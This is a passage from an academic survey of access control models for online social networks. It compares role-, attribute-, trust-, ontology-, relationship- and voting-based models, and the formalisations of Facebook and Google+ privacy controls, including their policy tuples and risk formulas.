Many models extend RBAC for OSNs by preserving authorisation mechanisms and adapting roles to the OSN-specific entities, users or relationships. RBAC captures a social relationship by representing it in terms of the two roles of the users involved in this relationship. For Tang, Mao, Lai, and Zhu (2009), OSN-specific ACM requirements are used to define relationship-based policies and support sharing objects with different users or groups of users. The authors adapted
RBAC to meet those requirements. Their model extends the decentralized management role-based model ARBAC97 (Sandhu, Bhamidipati, & Munawer, 1999) and introduces a server and client to manage roles and permissions, respectively. Upon requesting access to an object, the server managing roles verifies only the roles relevant to the relationship between the requestor and the owner. The owner checks with the client module for the list of permissions that can be granted to a request. A model is required to allow the inherent feature of OSNs users of having multiple relationships and therefore multiple roles. The model reflects this feature by enabling users to have multiple roles assigned to them, one role per relationship. Referring to the relationship path between a requestor and an object’s owner implicitly guarantees the separation of roles; yet the authors do not clarify how roles are separated if two users share more than one relationship in different contexts.

Tie-RBAC is another application of RBAC in OSNs (Tapiador, Carrera, & Joaquín, 2011). The notion of tie denotes the composition of a relationship and the two users involved in it. Ties define an automatic system of role-assignment upon establishing a relationship between two users. For instance, when a user establishes a Father-Son relationship with another user, the tie established would assign the roles Father and Son to the initiator and receiver of the relationship, respectively. The access control enforcement in this model is the typical RBAC. Comparably to Tang, Mao, Lai, and Zhu’s (2009) model, roles here can be cast on individual users or groups. The model conforms to requirement 1, while the granularity of policies, requirement 2, is rather coarse.

Although RBAC extensions to OSNs are able to conform to requirement 1 and 2, there are other features that can be difficult to explicitly express in such models. Although trust can be implicitly associated with specific roles in a system, it is required to have models where trust can be quantified and used to compose fine-grained policies. Other social graph related aspects, such as a relationship path and distance between users, are not captured in RBAC. Generally, discretionary RBACs are not well suited for OSNs since they burden users with tasks of associating permissions to static roles in different dynamic contexts that are not distinctively separate (Shen & Hong, 2006).

Next, we overview attribute-based models, where a role is decomposed into detailed attributes. These models offer more flexibility in resolving separation of duty constraints.

**Attribute-based Access Control Models**

The flexibility of Attribute-based Access Control models (ABAC) is employed in OSNs for a higher level of expressiveness and finer granularity. To preserve the privacy and anonymity of OSN users, ABACs usually incorporate encryption techniques. For instance, Persona is a decentralized OSN with an effective and privacy preserving application of ABAC (Baden, Bender, Spring, Bhattacharjee, & Starin, 2009). Access control in Persona is a two-fold mechanism that integrates attribute-based encryption, attribute-based access control and encryption. With this mechanism users are entitled to manage and enforce access control policies without the need to trust a central authority. A user manages access to her objects by distributing public keys to other users entitled to access her objects. The act of exchanging keys implicitly captures the notion of trust over relationships in an OSN by connecting to a group of potential accessors who can access a set of objects with those keys. The group encryption protocol is based on generating a group key and encrypting it using each member’s public key (Wong, Gouda, & Lam, 1998; D. Naor, Naor, & Lotspiech, 2001). Accessing an object requires the availability of an ABE group key to decrypt a symmetric key with which the object is encrypted. Access permissions and implicit trust can be propagated to indirect relationships such as friend-of-friends via the creation of a group based on another friend’s existing group. For instance, if X has defined a group of his ‘friends’ and Y defines a new group Y_{X\text{friends}} based on X_{friends} group, then all members of X_{friends} will have access permissions assigned to Y_{X\text{friends}}. The model is not limited to only group-based access, it also facilitates individualistic access control by specifying identity-based access permissions. This multi-faceted accessor specification contributes to the fine granularity of the model, thereby satisfying requirement 2. The downside is that it does not clearly state how group and individual changes can be captured and adapted to in the dynamic environment of OSNs. In case of a group deletion, the ABE key of the group changes for new
encryptions, while previously encrypted objects will still be accessible to the revoked user. Re-
encrypting all objects is crucial to overcome this issue and avoid possible privacy threats.

This issue is further addressed in the Encryption-based Access Control in Social Networks with Efficient Revocation (EASiER) (Jahid, Mittal, & Borisov, 2011). EASiER extends ABE and uses a “minimally trusted proxy” to resolve revoked users. The model exploits an effective revocation scheme CP-ABE (Bethencourt, Sahai, & Waters, 2007) to adapt to the dynamic group changes in the OSN. In CP-ABE a ciphertext is a two-part component: encrypted data and components for attributes involved in the ABE key. In order to gain access to an object, a requestor sends part of a ciphertext to the proxy to be decrypted to a form that only an unrevo ked user can combine with her attribute keys to decrypt this object. In the revocation scheme of M. Naor and Pinkas (2001), the proxy receives a new key for each revocation without having to commit further changes either to users’ keys or to previously encrypted objects. Attribute-based policies facilitate the incorporation of various OSN-related attributes and features, thereby satisfying requirement 2. The secure proxy-based model is applicable in various OSN structures. The proxy can be a central authority in a centralized OSN, or distributed over the network in a decentralized OSN.

Distinctive authorisation based on the validation of specific attributes facilitates anonymous authentication and preserves requestor’s identity and privacy. A. Squicciarini, Trombetta, Bhargav-Spantzel, and Bertino (2007) propose a k-anonymous (Sweeney, 2002) attribute-based access control model to preserve sensitive information about users’ access history in distributed systems. The proposed model is not specifically tailored for OSNs, yet, it is applicable with OSN-specific attributes. The main contribution of this model is that a requestor can specify k-anonymous credentials to be submitted if there are at least k other undistinguishable sets. The flow of authorisation can be summarized as follows:

1- A policy enforcer sends information about attributes to be submitted to the credential submitter (requestor).
2- Before sending the k-anonymous attributes, the credential submitter runs a private matching protocol to check for k identical sets or asks the enforcer for more information.
3- If the submitter is certain of the existence of k identical sets, then the k-anonymous set is sent to gain access to an object.

The negotiation of the attribute sets facilitates anonymous trust negotiation using a cryptographic based communication in a setting where a submitter cannot be tracked and identified.

It is possible to deploy this model in a decentralized OSN if users are provided with local mechanisms for k-anonymous set generation and for private matching protocols. Despite the privacy preservation of requests and anonymous communication, the model does not explicitly incorporate relationship data of users unless this data is represented in the set of attributes.

In this section we gave an overview of various ABAC models that can be applied in both centralized and decentralized OSNs. The challenge of those models remains in determining which attributes to base policies on.

**Trust-based Access Control Models**

Golbeck (2009) defines trust as follows: “trust in a person is a commitment to an action based on a belief that the future actions of that person will lead to a good outcome” (p. 5). Trust plays a key role in relationships between users in OSNs and has a substantial effect on decisions related to authorising access to objects (Golbeck, 2009). In this context, relationships are modeled as edges with a fixed trust value in the social graph (Maheswaran, Tang, & Ghunaim, 2007). As we have seen in the previous sections, many models employ trust as a key constraint in authorising access to objects. Maheswaran, Tang, and Ghunaim (2007) recognize four types of trust modeling:

- Social graph-based trust computation (Xiong & Liu, 2004) similar to trust estimation in the model of Carminati, Ferrari, and Perego (2006b).
- Sensitive trust modeling, where any change in the assessment parameters will be immediately reflected on the trust values.
- Anonymous trust modeling where users anonymously contribute to the ratings of trust (Singh & Liu, 2003).
- Fuzzy trust modeling using fuzzy techniques to combine ratings of users (Aringhieri, Damiani, Di Vimercati, Paraboschi, & Samarati, 2006).

The gravity-based model (Maheswaran, Tang, & Ghunaim, 2007) employs several mechanisms and algorithms for trust computation in OSNs. Trust is established via interactions among users forming positive or negative context-based trust. Independent contexts are modeled in a **Trust Space** where trust calculations are performed in a time-based manner. This trust measure is represented as the distance between two users and can increase or decrease proportionally to the trust value.

Trust-based ACMs are rule-based models that incorporate trust in policy constraints and authorisation decisions. Ali, Villegas, and Maheswaran (2007) introduced Social Access Control (SAC) for OSNs. This multi-level security inspired-model (Benantar, 2006) classifies users and objects in hierarchies based on specific trust values. Each user is assigned an average of trust ratings $r(u)$ by community members (Golbeck, 2006; Levien, 2009). The user can minimally change the rated trust value, by a value $\Delta$, to reflect her operating trust level $\tau$ within a session: $\tau = \lambda r(u)$ where $0 \leq \lambda \leq 1$.

The operating trust level of a user $X$ is cast as the trust level $t_o$ of objects owned by $X$. The trust level of an object accessed by a user is reflected as an effective trust level of this user. An important contribution of this model is the use of trust to strongly constrain access to objects. While in other models, the trust value of an accessor is independent of the trust level of the owner in the system, this model strongly couples the trust of the accessor with the trust of the owner by allowing users to only access objects within a limited range of their own trust value; otherwise information leakage is reported.

The model employs trusted nodes to encrypt objects based on social encryption schemes (Shamir, 1979). When the trusted node verifies a key, access is granted to the requestor and no delegation of access is allowed.

Another utilization of trust is found in the ‘Personal Data Access Control’ (PDAC) model, proposed by Villegas, Ali, and Maheswaran (2008) for sharing data in centralized OSNs and other systems. The model aims to be user-friendly so that users are not overburdened with many decisions and access control criteria. To share personal data objects, the owner is only required to define thresholds of three trust zones: acceptance, attestation and rejection. The owner also specifies attestation nodes and the constraints under which the attesters can undersign a request. PDAC quantifies the trust of a requestor based on the relationship with and the distance from the owner, thereby conforming to requirement 1. Analogously to SAC (Ali, Villegas, & Maheswaran, 2007), the social community contributes to the trust quantification formalism. Initially, a user $X$ and the community mutually perform a trust evaluation of $X$’s friends and the zones they belong to from the perspective of $X$. First, the owner defines the zone her friends belong to, and then the social community contributes to refining the trust and the zones of those friends. The trust degree of a requestor is based on the distance from an owner’s object and past context-dependent access experience. The context-dependent access experience is quantified according to the accesses granted to the requestor by the owner and her social neighborhood community. The requestor is classified based on the estimated trust in one of three zones. In comparison with the k-anonymous model (A. Squicciarini, Trombetta, Bhargav-Spantzel, & Bertino, 2007), although this model does not protect anonymity, it offers more sensitive trust quantification by referring to past access history of a requestor, leading to more accurate authorisation decisions.

Authorisations in the model are automatically dependent on the trust zone. A requestor classified in the acceptance zone can automatically access objects of the owner. A rejected zone requestor will be automatically prohibited from accessing an object. An attestation zone requestor needs to be undersigned by the specific attestation nodes. The incorporation of distance, context, and history of access as well as the trust in a requestor by the community enriches the granularity of this model, thereby conforming to requirement 2. Besides access control, the model implements a tracking mechanism to detect re-sharing of objects and to report data leakage. This mechanism tracks and verifies that the trust constraints of a re-shared object comply with the original owner’s constraints.

The Trust-involved Access Control (TAC) model (H. Wang & Sun, 2010) takes a further step into modeling more complex and fine-grained policies. TAC employs a trust-involved and purpose-based model for privacy preservation in OSNs. A purpose defines the reason for accessing a data object (Ni et al., 2010). TAC defines intended purposes $P_i$ over objects to
regulate access. Intended purposes include prohibited intended purposes PIP and allowed intended purposes AIP. The model defines a hierarchy of purposes with generalization and specialization operations and with precedence of PIP over AIP for conflict resolution. To access an object, an access purpose Pa should specify the access purposes. The purpose Pa is matched against allowed intended purposes P ai of the same object to check whether AIP and PIP logically implies Pa.

In contrast to Ali, Villegas, and Maheswaran’s (2007) model, this model considers both direct and indirect relationships. Access control policies are composed of trust criteria as well as relationship property criteria, which makes the model more protective if trust is not accurately or easily quantified. A policy is defined as a tuple:

\[(D, S, R, P, D_{max}, T_{min}, O)\]

where D is a data object, S is a subject or a group of subjects requesting access, R is the relationship type between the requestor and the owner, \(D_{max}\) is the maximum distance of the relationship path, \(T_{min}\) is the minimum trust required, and O is a set of obligations the accessor needs to comply to upon access. For example, the rule “X allows her friends with minimal T trust to access her object O for P purpose, where an accessor is obliged to notify the owner by email” is formulated as:

\[(O, X, Friends, P, 1, T, Notify (Email))\].

Based on the notion of purpose introduced, policies are either negative or positive. Positive policies implicitly authorise the requested permissions and all their subclass permissions in the defined hierarchy. The model can be also classified as relationship-based model as it depends on the relationship type and path length of the relationship as well as other features. This model conforms to requirements 1 and 2.

The drawback of trust-based models is usability, if users are required to provide input that contributes to trust assessment, such as defining the trust level of objects and zones of access as well as the trust thresholds. Trust-assessment could be problematic in cases where a new user joins and there is no past experience of OSN interaction with this user to assess the trust level.

Next, we discuss other OSN-specific access control models based on other OSN-related features.

**Access Control Models in Semantic-based OSNs**

The inclusion of semantic web technologies into frameworks and applications has enhanced data sharing and usage. The semantic web lends itself to OSNs by supporting the fundamental functionality of exchanging and sharing data across the network of users (W3C, 2009). For instance, tagging systems are employed in MySpace (Feigenbaum, Herman, Honsermeier, Neumann, & Stephens, 2007). Resource Description Framework (RDF) and Web Ontology Language (OWL) have been employed to represent personal information of users in OSNs since the early work on Friend of a Friend (FOAF) (Brickley & Miller, 2007). FOAF describes the relationships of users in RDF annotations as an effort to contextualize the semantic web in social networks. Another example of semantic web extensions in social networks is the “Like” button of Facebook that links data from the web to Facebook using the Open Graph Protocol.

In relation to access control, semantic web technologies enable a standardized and dynamic means to control and track objects an OSN. Using ontology basic representation in OSNs facilitates the composition of a more fine-grained access control policies (Carminati, Ferrari, & Perego, 2006b). On the structural level, ontology-based models emerged to exploit rule-based policies to protect the semantic-rich data.

Kruk, Grzonkowski, Gzella, Woroniecki, and Choi (2006) present a Distributed FOAF Realm of the previous FOAF Realm work on Kruk (2004). D-FOAF is distributed identity management system for OSN that uses structure-based access rights and delegations based on the FOAF notion. The specificity of the system structure they model (W3C information management system as a case study) is that users do not own objects; rather they have access to certain objects and they can extend the accessibility to these objects by delegating it to others. The model is based on friendship relations of users who belong to different/distributed sub-communities. The proposed structure saves information about the relationship between two nodes without further details about type, context or any other relationship feature. This structure of the social network saves access rights in an ACL attached to a resource, which is referred to as the Social Networked Access Control List. This list also defines access rights delegation using two criteria values, namely, a
maximal distance from the user in the networks’ graph \(d_{\text{max}}\) and a minimal friendship level metric \(f_{\text{lm-contextmin}}\), which reflects the strength of the relationship. By exploiting these two criteria, the model employs a rudimentary version of trust-based access control. In contrast to other models such as H. Wang and Sun (2010)’s model, this one does not cover aggregation of policies and how to resolve conflicts of delegations. However, this model conforms to requirements 1 and 2.

Carminati, Ferrari, Heatherly, Kantarcioglu, and Thuraisingham (2009) address privacy issues of OSNs by proposing an enhanced and extensible ACM that exploits OWL to represent the social network in a knowledge base (SNKB). Analogously to Carminati, Ferrari, and Perego’s (2006b), relationships are represented as ontology classes compliantly with W3C specification (Consortium., 2009), which enables n-ary relationships. A relationship here denotes a relation between two users as well as a relation between a user and an object, e.g., ownership or tagged in relationships. The two relationship types support the definition of more fine-grained policies in comparison with only user-user or user-object relationship types seen in RBACs and other models. Similarly to previously discussed RBAC models, objects, relationships and permissions are depicted in hierarchies, which facilitates the propagation of permissions within the hierarchies. The model comprises three types of policies:

- Access control policies: negative and positive relationship-based policies that define conditions over the type, depth and trust value of a relationship to authorise/deny access,
- Filtering policies: define conditions to refine user’s access to objects or requests to a user’s objects,
- Admin policies: allow the system administrator to specify users or define conditions over users that can define access control and filtering policies.

A security authorisation knowledge base (SAKB) encodes the three types of permissions for the three types of policies, namely access control authorisations, prohibitions and admin authorisations. All are organised by means of ontologies. For policy enforcement, Semantic Web Rule Language (SWRL) first transforms a policy into a rule to be queried by the central authorisation enforcement entity against the SAKB. Finally, this model conforms to requirements 1 and 2.

Ontology modeling of OSNs and ACMs facilitates rich and dynamic representations and flexible control over objects. However, as it is the case in ACMs, there are still specific access control problems that are not addressed. Multiple ownership protection is an important problem that arises in OSNs, yet few of those models address that issue. We will review later in the chapter a model that employs semantic web technologies to extend ontology-based models and addresses this problem.

**Relationship-Based Access Control Models**

A relationship-based access control model does not base authorisation on users identities. Instead, it only consults the social graph’s topological structure to extract relationship-related information between an accessor and an owner of an object to authorise an access request.

Fong (2011) formalizes a general-purpose relationship-based access control model (ReBAC), capturing binary relationships such as Parent-Child. The relationship representation captures direct and indirect relationships, corresponding to requirements stated in Carminati, Ferrari, and Perego (2006b). A relationship \(X-Y\) is cast as roles of the users involved in it. The work’s novelty is in capturing the context-dependency of relationships. This is a contribution to the extent that relationships are separated by organising contexts into a hierarchical structure, where no two relationships in different contexts can be activated simultaneously. Sharing objects over different contexts is based on this hierarchy structure.

The authors interpret ReBAC as a generalization of RBAC where relationships are represented by roles bound in sessions just as relationships are bound in contexts (Fong, 2011). The context hierarchy is analogous to separation of duties mechanisms in RBAC (F. Chen & Sandhu, 1995).

The model depicts the OSN as “a collection of assertions of relationships between individuals in a given population” (Fong, 2011, p. 1). The social network system is a formalized relational structure in a social graph:

\[
\mathcal{G} = \langle V, \{R_i\}_{i \in I} \rangle,
\]

where \(V\) is the set of users in the network, \(I\) is the set of relationships identifiers, and each \(R_i\) is a binary relationship between two users.
A resource is one or more objects. An access control policy is modeled as a predicate to exclusively capture the relational information between the owner and the accessor:

\[ \mathcal{U} \times \mathcal{U} \times g(\mathcal{U}, \mathcal{J}) \rightarrow \{0,1\}, \]

where \( \mathcal{U} \) is an owner or an accessor, and \( g(\mathcal{U}, \mathcal{J}) \) is the social network, which is a graph of users and relationship identifiers. The predicate takes an owner, an accessor and a social network as parameters and will either authorise or decline the request. The model uses vocabularies defined either by the system and/or the users, such as public, friend-of-friend.

ReBAC exploits modal logic formula to express relationship structure between requestors and owners:

\[ \varphi, \psi ::= \top | a | \neg \varphi | \varphi \land \psi | (i) \varphi | (\neg i) \varphi. \]

For example an owner \( a \) can grant access to friends or parents using the formula (Fong, 2011):

\[ \langle \text{friend} \rangle a \lor \langle \text{parent} \rangle a. \]

This way of composing policies enables the expression of the strength of a relationship required to gain access to an object, for example \( (\text{friend})(\text{best friend})a \) (Fong, 2011). It also employs composite relations to express trust delegation (Weeks, 2001; N. Li, Mitchell, & Winsborough, 2002), for example granting access to friends-of-friends implicitly delegates authority to friends and their friends.

ReBAC is a formalized as a protection system captured as a tuple:

\[ (\mathcal{J}, \mathcal{U}, \mathcal{R}, \mathcal{C}, c_0, \text{policy}, \text{owner}), \]

where \( \mathcal{J} \) is a set of relation identifiers, \( \mathcal{U} \) is a set of users, \( \mathcal{R} \) is a set of protected resources, \( \mathcal{C} \) is a set of relationships contexts, \( c_0 \) the root context in the context hierarchy, \( \text{policy} \) is a function mapping a policy to resource, \( \text{owner} \) is a function that maps a resource to an owner. The access control protection system evolves based on changes in the context hierarchy by means of state transitions that are discussed in (Fong, 2011).

A protection state is an instantiation of the protection system tuple for request parameters: owner, requestor, active context relationship and social network. The requestor-owner relationship inherits relationships from ancestor contexts. The authorisation decision depends on consulting the protection state of a request. The model conforms to requirement 1, but it does not incorporate fine-granular policy definition.

A more recent work by Fong and Siahaan (2011) investigates the representational completeness of relational policies in ReBAC. The investigation reveals that there were policies that could not be defined using ReBAC. To address the incompleteness, this work introduces non-idempotent conjunction and vertex identification mechanisms to avoid cycles in the graph. The extended language can express a family of ReBAC policies that are proven to be representationally complete (Fong & Siahaan, 2011). The extended ReBAC model is proven to be complete in binary relationship systems. This would be a potential limitation for applying ReBAC in OSNs where relationships might be of multiple arity, as we will discuss in the next section. To address multiple ownership in ReBAC, the model has to extend the policy predicates to resolve different relationship contexts between a requestor and the multiple owners.

\textit{N-owned object Protection / Relational Data Protection}

An \( n \)-owned object is an object that is owned by and linked to more than one user. Relational data is the data about and generated by an existing relationship between two users, and therefore is owned by the two users. \( N \)-owned data protection is a fundamental aspect of multi-user systems such as OSNs (Hu, Gail-Joon, & Jan, 2012). In these systems, sharing is not only uni- or bi-directional, it is mostly \( n \)-ary directional, causing ownership to become of \( n \)-ary as well. A photo owner can share a photo in her OSN with \( n \)-users tagged in it, thereby expanding the unary ownership to be \( n \)-ary ownership. The original owner should not control such \( n \)-owned object without involving the other \( n \) owners in access control decisions (A. C. Squicciarini, Shehab, & Wede, 2010).

Almost all models reviewed earlier in this chapter do not address this issue. A challenge is how to aggregate the owners’ preferences and compose their policies defined over one object. Bonatti, De Capitani Di Vimercati, and Samarati (2002) employ an algebra for security policies composition. The algebra implementation is based on translating policies of multiple owners to equivalent logic.
In relationship-based models, the policy composition mechanism of n-owners policies has to preserve the original owners’ relationship-based constraints. A policy is monotonic if access is never denied upon adding an edge to the social graph and is never granted upon deletion of an edge. On the other hand, anti-monotonic policies do not allow access if the social graph structure is changed. The policy combinators introduced in (Anwar & Fong, 2010) combine primitive policies to represent complex policies, while preserving monotonic and anti-monotonic policies. More policy composing mechanisms are surveyed in (De Capitani Di Vimercati, Foresti, Jajodia, & Samarati, 2007).

Another challenge is how to detect the existence of relational data and that an object is n-owned. Masoumzadeh and Joshi (2010) employ semantic web technologies and the richness of ontology-based models to define a flexible and fine-grained model to address this challenge. The proposed Ontology-Based Access Control Model for Social Networking Systems (OSNAC) extends many notions of the previously discussed model of Carminati, Ferrari, Heatherly, Kantarcıoglu, and Thuraisingham (2009). The main contributions of OSNAC are, the formalization of multiple authorities in OSNs, and, the enforcement mechanism of combined policies of multiple owners. The model extends the OSN knowledge base using a sublanguage of OWL to represent rich RDF graphs representation. The access control policies are queried on the knowledge base via SWRL. The model defines the concept of type “Annotation” to represent a relation between more objects; e.g., a comment annotates an object with a note or a tag annotates a photo with a person.

The model defines an access control ontology (ACO) to represent user-object relations as reified properties, permissions, and permission authorisations to specific users.

The model formalizes policies for administrators and uses authorisations. These can be either basic or advanced. A basic policy rule defines access authorisations granted by a user or the system to a requestor. Advanced policies define various types of delegation rules based on complex composition of authorisations. This is extended in a formalization of dependent authorisations, where an authorisation can be inferred based on another authorisation. The main core contribution of this model is the multiple-authority specification that enables disjunctive or conjunctive forms of multi-authority to authorise permissions for n-owned objects.

An access request is a tuple \( \langle s, rsc, p \rangle \), where \( s \) is the requesting subject, \( rsc \) is an instance of a reified property to be accessed, and \( p \) is the requested permission. A request is authorised if there exists an instance of permission \( p \) in the access control ontology for \( s \) on \( rsc \). Negative policies are not explicitly captured in the model, however, the closed-world assumption here guarantees that if an authorisation cannot be inferred by a defined rule then the negation cannot be inferred either. This assumption constrains unintended authorisation from being granted; consequently prohibited permissions are not required to be explicitly defined by users. This model conforms to requirements 1 and 2.

Next we discuss another type of access control model that follows a different approach in addressing some of the issues discussed before.

**Voting-based models**

Users vary in their privacy preferences. When defining access control policies over n-owned objects it is a challenging task to satisfy all owners’ preferences. A. C. Squicciarini, Shehab, and Wede (2010) state that this process should be fair to all owners of an object. Their proposed model is focused on how to reflect co-owners policy specifications onto one policy that maximizes the satisfaction of co-owners privacy preferences. In other word, this model focuses on the conjunctive multi-authority introduced in OSNAC. This work is based on the Clark-Tax voting protocol (E. H. Clarke, 1971) as it provides a simple mechanism that does not allow users to manipulate their voting. This mechanism aggregates owners’ access control policies and promotes truthfulness of users. In this mechanism, an ownership right is granted based on an assessment of the user’s truthfulness. To make the process less burdensome, the mechanism learns about the users privacy preferences in order to estimate preferences of new objects. If the new object is not similar to any existing object then the mechanism cannot predict the privacy preferences.

Aggregation of policies is modeled as a Nash equilibrium problem (Mas-Colell, Whinston, & Green, 1995) wherein users are rewarded with incentives for truthfulness based on the VCG
payment model (Groves, 1973). The incentive-based systems simply rewards a user $i$ proportionally to the number of $n$-owned object with $n$-co-owners:

$$c = m_i + (\beta \times m_i) \times n,$$

where $m_i$ is the credit value assigned to $i$, $\beta \times m_i$ is the credit assigned to users who accept co-ownership, with $\beta \in [0,1]$. Each co-owner quantifies the benefit value she gets from sharing an object and associates it to her privacy preference $g$. A collective function outputs the value that maximizes the social values of co-owners:

$$g^* = \arg \max \sum_{i=1}^{n} v_i(g),$$

where $v_i(g)$ is the benefit value a user $i$ gets.

The mechanism can be applied on different types of policies where attributes are based on the social graph, such as distance-based, geographical locations or common user groups (A. C. Squicciarini, Shehab, & Wede, 2010). This model does not conform with ACMs requirements because it addresses a specific problem; but it can be integrated with other models.

**Web Traveler**

Although ACMs enable owners to control access to their objects, this control is limited to the user’s own space in the OSN. The lack of proper accountability and audit tools enable users to re-share an object and unlawfully gain ownership, thereby depriving the original owner from access control. The difference with the previously discussed $n$-owned object problem is that the set of owners of one object keeps on expanding over time. As a result, the previously discussed models are unable to directly address this problem.

Rodriguez, Rodriguez, Carreras, and Delgado (2009) address this issue by using Digital Rights Management in OSNs. In their work, users can control access to data by defining flexible conditions in a Right Expression License. Authorisations are granted based on decentralized verification of the license the requestor owns against the requested permissions.

A. C. Squicciarini and Sundareswaran (2009) propose Web-traveler, a model to preserve the owners original access control policies over any access to her objects within the OSN, thereby conforming to requirement 4. In their model they focus on photos, which are shared in vast amounts in OSNs; 3 billion photos are uploaded on facebook each month (Facebook Stat Page, 2011). Web-traveler is an image-centric ACM where policies are always linked to images defining who can access, download and upload them. The policy language XACML-like rules (Oasis Committee. XACML 2.0 Specification, 2012), defines five actions/permission over images, view, upload, download, tag, and comment, organised into a hierarchy. Policies are relationship and attribute-based, and can only be defined for an added image if the image does not exist in the system before (Chang, Li, Wang, Mork, & Wiederhold, 1999). If the new image already exists in the system then the original owner’s policies are enforced.

The model utilises positive and negative policies to limit granted authorisations, and it also prohibits delegation of authority unless the user explicitly allows it. Moreover, the model can be generalized over different data types, given appropriate matching mechanisms. Consequently, the model provides a strict privacy protection of users and their data through all out the OSN.

**DISTRIBUTED ACCESS CONTROL FOR OSNS**

In centralized OSNs, a central authority is responsible for providing the functionality of managing users’ data and enforcing access control. In a decentralized or distributed OSN system, trust in a central authority is not required; rather data management and access control enforcement are distributed and carried out by users themselves, or by parties they trust. Distributed access control enables users to manage their local social networks themselves, and is therefore considered to offer more privacy protection for users.

Ahmad and Whitworth (2011) summarize the social and technical requirements of access control:

- Protect ownership of data
- Discretionary roles by users
- Objects classification by users
- Delegation of access rights.
The authors argue that distributed access control will satisfy these requirements and they develop a mathematical model accordingly.

We add to these requirements that a model should properly represent the social graph information within the decentralized OSN structure. The previously discussed models: Carminati, Ferrari, and Perego’s (2006b) model, Tang, Mao, Lai, and Zhu’s (2009) model, Baden, Bender, Spring, Bhattacharjee, and Starin’s (2009) model, Jahid, Mittal, and Borisov’s (2011) model, Kruk, Grzonkowski, Gzella, Woroniecki, and Choi’s (2006) model are all applicable in decentralized OSNs as we have noted earlier.

ACCESS CONTROL MODELS FOR EXISTING OSNS

Next, we will overview formalized models of some of the current OSNs to understand the underlying mechanisms behind their access control models and how they can be extended to address related access control and privacy concerns issues.

Facebook-Style Access Control Model

Facebook (Facebook, 2011) is the most wide-spread OSNs in the world and has the largest number of registered users (Facebook Stat Page, 2011). Many researchers have been studying different aspects of this OSN and analyzing its privacy issues and threats (Gross & Acquisti, 2005; Cain, Scott, & Akers, 2009).

In order to better understand the privacy policies and points where refinement is needed, it is essential to refer to the formalization of Facebook access control model by Anwar and Fong (2010). The model formalizes the specific two-phase capability-based (Miller, Yee, & Shapiro, 2011; Dennis & Van Horn, 1966) authorisation process in Facebook. To access a specific user’s profile or one of her objects, the first phase involves having the capability to access or reach a search listing of this user. Facebook provides two means to access a search listing by global name search or by traversing the social graph. Once the search listing is reached and the user’s node in the graph is located, the second phase involves the actual access request to this user’s profile or object. The second authorisation phase is based on consulting access policies. This model formalizes the communication history and relationship topology for authorisation decisions. Communication history is captured by means of a communication automaton:

\[ M = (\Sigma, \Gamma, \gamma_0, \delta), \]

where \( \Sigma \) is a finite set of possible communication primitives defined in Facebook, e.g., initiate relationship or accept a relationship, \( \Gamma \) is a finite set of communication states, \( \gamma_0 \in \Gamma \) is an initial state, and \( \delta \) is the transition function, which given a communication state, maps the current system state into a next state. An adjacency predicate translates a communication state between two users into an acquaintance relationship. The model defines the global communication state as the mapping of each pair of users to their current communication state. The two-phase authorisations are queried against the system’s global communication state and the list of policies defined. An authorisation decision is based on the social graph and the communication state between an owner and a requestor. The model formalizes four types of policies a user \( u \) can define:

- Search policies, which define who is authorised to produce a search listing of \( u \).
- Traversal policies, which define who is authorised to traverse links of \( u \).
- Communication policies, which define who is authorised to communicate via the system defined primitives with \( u \).
- Access policies, which define who is authorised to access objects.

Anwar and Fong (2010) state that the model instantiated for Facebook does not capture some aspects of Facebook, such as groups and networks, poking and messaging communication, and the open-world assumption. Rather, the authors instantiate their model to support more policies than the Facebook model does, such as celebrity, clique, stranger, bad company and trusted referral (Anwar & Fong, 2010). However, the n-owned object problem is not covered by the extended family of access control model proposed in this work.
Google+ Access Control Model

Google+ (The Google+ Project, 2011) is a more recent OSN. The most prominent feature of Google+ is the notion of circles, which are used by users to define groups of their friends and assign access control policies accordingly. A circle is a set of friends and an extended circle denotes all the members of a user’s circles and all the members in their circles, which is analogous to the notion of FOAF. The utilization of circles in Google+, as well as friendlists in Facebook, adds the possibility to specifically select the desired audience allowed to access a specific object. Studies showed that users’ mental models about their privacy involve subgroups and communities of their friends (Alessandra, Kristen, & Eytan, Last Updated April 2011.). Correspondingly, circles assist users in comprehending the targeted audience of a disclosed object and to then take an informed decision about the target disclosure audience.

Hu, Gail-Joon, and Jan (2012) formalised a model based on Google+ notion of circles and extended it to address the n-owned object or multiparty ownership. In the Circle-based multiparty access control (CMAC) friends can be assigned a certain trust level and then grouped into circles. The model classifies owners in four types of controllers:

- **Owner**: a user who posted an object in her space,
- **Contributor**: a user who posted an object in someone else’s space,
- **Stakeholder**: a user who shares partial ownership in an object of another owner or contributor, e.g., a user tagged in a photo,
- **Disseminator**: a user who discloses data not owned by herself.

A positive or negative policy is a tuple:

\[< O, OT, A, D, E >\]

where \(O\) is an owner or a controller of an object, \(OT\) is the controller type, \(A\) is set of targeted audience defined in terms of circle/extended circles or everyone, \(D\) is a data object to be accessed, \(E\) effect of enforcing the policy by either denying or permitting access. In the model, a permitted access might cause more privacy violations than a denied access. Furthermore, conflicting policies are resolved based on the higher precedence of denied access over permitted access.

Similarly to the voting-based model (A. C. Squicciarini, Shehab, & Wede, 2010), CMAC enables owners to express their preferences and then implement a preferences balancing mechanism. Whereas in the model of A. C. Squicciarini, Shehab, and Wede, (2010) the objective is to reward users who share, CMAC facilitates the expression of willingness to disclose. The conflict resolution mechanism estimates a Privacy Risk counter-proportionally to:

- The trust level of a requestor \(t_r\)
- The number of controllers allowing an access
- The privacy concerns of controllers estimated from the default privacy setting \(pc_o\)
- The sensitivity of a denied-access-to object \(s_o\)

The privacy risk of a requestor \(r\):

\[Pr(r) = (1 - t_r) \times \sum_{o \in \text{controllers}_o} pc_o \times s_o\]

To balance disclosing intentions of all controllers, the model utilizes a sharing loss estimation function using the same four factors utilized for estimating privacy risk from the controllers who permit an access request:

\[Sl(r) = t_r \times \sum_{o \in \text{controllers}_o} (1 - pc_o) \times (1 - s_o)\]

Authorisation is a decision based on a trade off (Brickell & Shmatikov, 2008; T. Li & Li, 2009) between \(Sl(r)\) and \(Pr(r)\):

\[AD = \begin{cases} \text{Permit} : \alpha Sl(r) \geq \beta Pr(r) \\ \text{Deny} : \alpha Sl(r) < \beta Pr(r) \end{cases}\]

where \(0 \leq \alpha, \beta \leq 1\) are preference of privacy risk and sharing loss, such that \(\alpha + \beta = 1\).

Given all the n-owned models discussed earlier, the contribution of this model lies in its empowering owners to express their disclosure intentions flexibly based on different factors including the history of their privacy preferences. On the other hand, it does not propose a representation of the n-owned relational data, in contrast with the work of Masoumzadeh and Joshi (2010). Moreover, defining sensitivity of objects might cause problems if an owner is not aware of how other owners model their sensitivity scale.
